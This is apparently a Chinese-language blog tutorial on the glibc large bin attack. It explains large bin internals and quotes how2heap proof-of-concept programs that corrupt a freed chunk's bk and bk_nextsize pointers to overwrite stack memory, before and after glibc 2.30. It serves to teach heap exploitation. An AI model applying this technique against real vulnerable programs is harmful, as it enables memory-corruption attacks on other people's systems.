Largebin_Attack
Monday, February 20, 2023
本文共5397字
11分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/principle/largebin_attack/。商业转载请联系作者获得授权,非商业转载请注明出处!
When you begin to touch your heart or let your heart be touched, you begin to discover that it’s bottomless.
— Pema Chödrön
Large bin的数据结构
何时会进入large bin中?
Large bin用来储存释放掉的大chunk。
- 当释放一个大chunk的时候,会先进入unsorted bin。
- 当程序开始从unsorted bin中查找chunk的时候
- 如果查找到的chunk的大小不等于要申请的chunk的大小(chunk size != nb),就判定为不符合条件的chunk,根据它的大小将其放进small bin或者large bin中。
- 如果查找到的chunk的大小等于要申请的chunk的大小(chunk size == nb),就判定为符合条件的chunk,直接停止查找,将其从unsorted bin中取出返回
- 如果到unsorted bin为空都没有找到符合条件的chunk,那么就从small bin或者large bin中寻找可以分割的或者大小刚好的chunk
也就是说,如果要分割chunk,会将他们先放进small bin或者large bin中再分割,再把剩余部分放进unsorted bin中:
测试程序1
调试以下程序可以发现,glibc在查找到一个可以分割的chunk的时候不会退出查找:
#include<stdlib.h>
int main()
{
void* p1 = malloc(2048);
malloc(16);
void* p2 = malloc(3072);
malloc(16);
void* p3 = malloc(2048);
malloc(16);
void* p4 = malloc(2048);
malloc(16);
free(p1);
free(p2);
free(p3);
free(p4);
p1 = malloc(3000);
return 0;
}
当free完这些大chunk的时候,他们都在unsorted bin中
但是当malloc(3000)的时候,他们都进入了unsorted bin中,然后其中一个被取出分割后放回了unsorted bin中
调试程序2
调试以下程序可以发现,程序在遇到大小刚刚好的chunk的时候会直接退出查找,同时也印证了可以分割的chunk会先进入large bin或small bin:
#include<stdlib.h>
int main()
{
void* p1 = malloc(2048);
malloc(16);
void* p2 = malloc(2048);
malloc(16);
void* p3 = malloc(3072);
malloc(16);
void* p4 = malloc(2048);
malloc(16);
void* p5 = malloc(3072);
malloc(16);
void* p6 = malloc(3000);
malloc(16);
void* p7 = malloc(2048);
malloc(16);
free(p1);
free(p2);
free(p3);
free(p4);
free(p5);
free(p6);
free(p7);
p1 = malloc(3000);
return 0;
}
在malloc(3000)前:
之后:
large bin的结构?
一共有136个bin,fast bin是一个单独的数组,其中有10个bin,剩下的126个bin是另一个数组,这126个bin中序号1是unsorted bin,序号2到序号63是small bin,64到126是large bin,当chunk大于512Byte(64位下是1024Byte)
那么large bin的这63个bin是如何组织的呢?
组 |
数量 |
公差 |
1 |
32 |
64B |
2 |
16 |
512B |
3 |
8 |
4096B |
4 |
4 |
32768B |
5 |
2 |
262144B |
6 |
1 |
不限制 |
这些bin分为6组,每一组中的bin的大小之间有一个固定的公差。以 32 位平台的 large bin 为例,第一个 large bin 的起始 chunk 大小为 512 字节,位于第一组,所以该 bin 可以存储的 chunk 的大小范围为 [512,512+64)。
一共有136个bin,为了知道这个放进large bin中的chunk放进这136个bin中的哪个bin,源码使用宏来计算:
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) \
? 56 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) \
? 49 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) \
? 48 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64(sz) : MALLOC_ALIGNMENT == 16 \
? largebin_index_32_big(sz) \
: largebin_index_32(sz))
如果我们先malloc六个堆块,实际大小为0x400,0x410,0x420,0x420,0x430,0x430,然后我们依次free可以得到下面这幅图:
(图源自浅析largebin attack - 先知社区)
其中我们看到,在large bin中我们使用了新的两个域fd_nextsize和bk_nextsize,他们在malloc_chunk结构体的位置如下:
fd_nextsize用于指向同组的bins中下一个更小的bin,bk_nextsize用于指向同组的bins中下一个更大的bin。同时它是双向链表,所以两头的chunk会互相指向。
下面内容来自堆相关数据结构 - CTF Wiki
- fd,bk
- chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
- fd 指向下一个(非物理相邻)空闲的 chunk
- bk 指向上一个(非物理相邻)空闲的 chunk
- 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
- fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
- fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
- bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列(也就是说,fd指向变小的方向)。这样做可以避免在寻找合适 chunk 时挨个遍历。
Large bin Attack基本原理概述
基本原理是,当chunk插入large bin中的时候,会改变原有chunk的fd、bk等,而如果我们在这几个域中填入我们自定义的数据,就可以改变某处的数据为此时插入chunk的指针值。
有一点类似于unlink的原理,但是利用方法截然不同。large bin attack可以更改两个位置上的值为p3的指针,这个值往往挺大的,可以更改一些东西的阈限值,比如增大tcache的最大大小以使用tcache poison等。
和unsorted bin attack一样可以打辅助,但是它更强的一点是我们可以知道填入的数据是一个什么样的值。
例子解释(2.30以前)
使用how2heap/large_bin_attack.c at master · shellphish/how2heap · GitHub作为例子:
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x420);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p2 = malloc(0x500);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x500);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);
free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
//------------------------------------
malloc(0x90);
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);
return 0;
}
在Ubuntu18下保存为test.c,使用命令gcc -g test.c -otest
编译
一开始我们初始化两个栈上变量,这也是我们等会需要修改的变量:
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
然后我们分配三个大chunk并用小chunk隔开,第一个大chunk用来处理后续的分割请求:
unsigned long *p1 = malloc(0x420);
malloc(0x20);
unsigned long *p2 = malloc(0x500);
malloc(0x20);
unsigned long *p3 = malloc(0x500);
malloc(0x20);
然后我们释放掉p1、p2,他们会先进入unsorted bin中。然后我们申请0x90的内存,这时候会把p2放进large bin中,将p1取出分割后放回unsorted bin中。
free(p1);
free(p2);
malloc(0x90);
这一步是为了让p2提前于p3进入large bin中,使用p1是为了防止分割p2导致其回到unsorted bin中。
下一步我们就释放掉p3:
然后我们假设有这么一个漏洞,可以更改p2的size域、bk域、bk_nextsize域:
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
我们改小p2的size,这样插入p3的时候,由于bk、bk_nextsize都指向变大的方向,因此p3会继承p2的bk、bk_nextsize并且将p2的fd和原先p2指向的下一个chunk(也就是p2->bk)的bk指向p3
而这时,如果将p3插入large bin,那么由于bk指向更大的一个空闲的chunk,因此p2->bk会被更改为p3,同时,p2->bk原先的值的fd会指向p3,这也就是说:
bck = p2->bk;
p2->bk = p3;
bck->fd = p3;
而由于我们将p2->bk改为了&stack_var1-2
,因此p2->bk->fd就是stack_var1
相关源码为:
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
同理,bk_nextsize也可以用这个方法利用:
else
{
P3->fd_nextsize = P2; //P3的fd_nextsize要修改成P2的头指针
P3->bk_nextsize = P2->bk_nextsize; //P3的bk_nextsize要修改成P2的bk_nextsize指向的地址
P2->bk_nextsize = P3; //P2的bk_nextsize要修改成P3的头指针
P3->bk_nextsize->fd_nextsize = P3; //P3的bk_nextsize所指向的堆块的fd_nextsize要修改成P3的头指针
}
bck = P2->bk; //bck等于P2的bk
这里存在一个大小的判断,具体的解析见好好说话之Large Bin Attack_hollk的博客-CSDN博客
例子解释(2.30以后)
在2.30以后,glibc为large bin attack新增了两个检查,这里以how2heap/large_bin_attack.c at master · shellphish/how2heap · GitHub为例:
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
因为传统的large bin attack依赖于对bk和bk_nextsize的修改,所以glibc在这两个上面加了检查:
// fwd = p2
// bck = p2->bk
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
这就要求传统的large bin attack中fwd->bk_nextsize指向的伪造的chunk的fd_nextsize的值是fwd(互相联通);要求fwd->bk指向的伪造的chunk的fd的值是fwd。
然而这个检查有个巨大的漏洞就是,当插入chunk的大小比这个bin中最小的chunk的大小都要小的时候,是不会执行这两个检查的:
// 如果请求大小比该 large bin 中最小的块还小,则跳过下面的循环
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
// 将 victim 插入到 fwd 的前面
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
因此,当我们将一个更小的chunk插入有一个chunk的large bin(两者的index一样)时,相当于反向地进行传统的large bin attack
其中,victim->bk_nextsize->fd_nextsize = victim
就相当于fwd->fd->bk_nextsize->fd_nextsize = victim
相当于p1->bk_nextsize->fd_nexsize = victim
,而p1->bk_nextsize
被我们修改成了(size_t)((&target)-4)
,因此此时就会把target修改成victim,也就是p2的指针
p1[3] = (size_t)((&target)-4);
相关源码
以下源码注释来自chatgpt
if (in_smallbin_range (size)) // 如果请求大小在 small bin 的范围内
{
// 找到 victim 所在的 small bin 的索引
victim_index = smallbin_index (size);
// bck 指向 small bin 起始块
bck = bin_at (av, victim_index);
// fwd 指向下一个 small bin 的起始块
fwd = bck->fd;
}
else // 请求大小在 large bin 的范围内
{
// 找到 victim 所在的 large bin 的索引
victim_index = largebin_index (size);
// bck 指向 large bin 起始块
bck = bin_at (av, victim_index);
// fwd 指向 large bin 起始块的下一个块
fwd = bck->fd;
// 维护 large bin 的有序性
if (fwd != bck) // 如果该 large bin 中有一个或更多空闲块
{
// 将 size 和 PREV_INUSE 按位或以加速比较
size |= PREV_INUSE;
// 如果请求大小比该 large bin 中最小的块还小,则跳过下面的循环
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
// 将 victim 插入到 fwd 的前面
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else // 在 large bin 中顺序查找符合请求大小的块
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
// 总是将 victim 插入到第二个位置
fwd = fwd->fd;
else // 插入到适当的位置
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
// 更新 bck
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else // 该 large bin 中一个空闲块也没有
victim->fd_nextsize = victim->bk_nextsize = victim;
}
// 将该 bin 标记为非空闲状态
mark_bin (av, victim_index);
// 将 victim 插入到 bck 和 fwd 之间
victim->bk = bck;
victim->fd = fwd
fwd->bk = victim;
bck->fd = victim;
扫码阅读此文章
点击按钮复制分享信息
点击订阅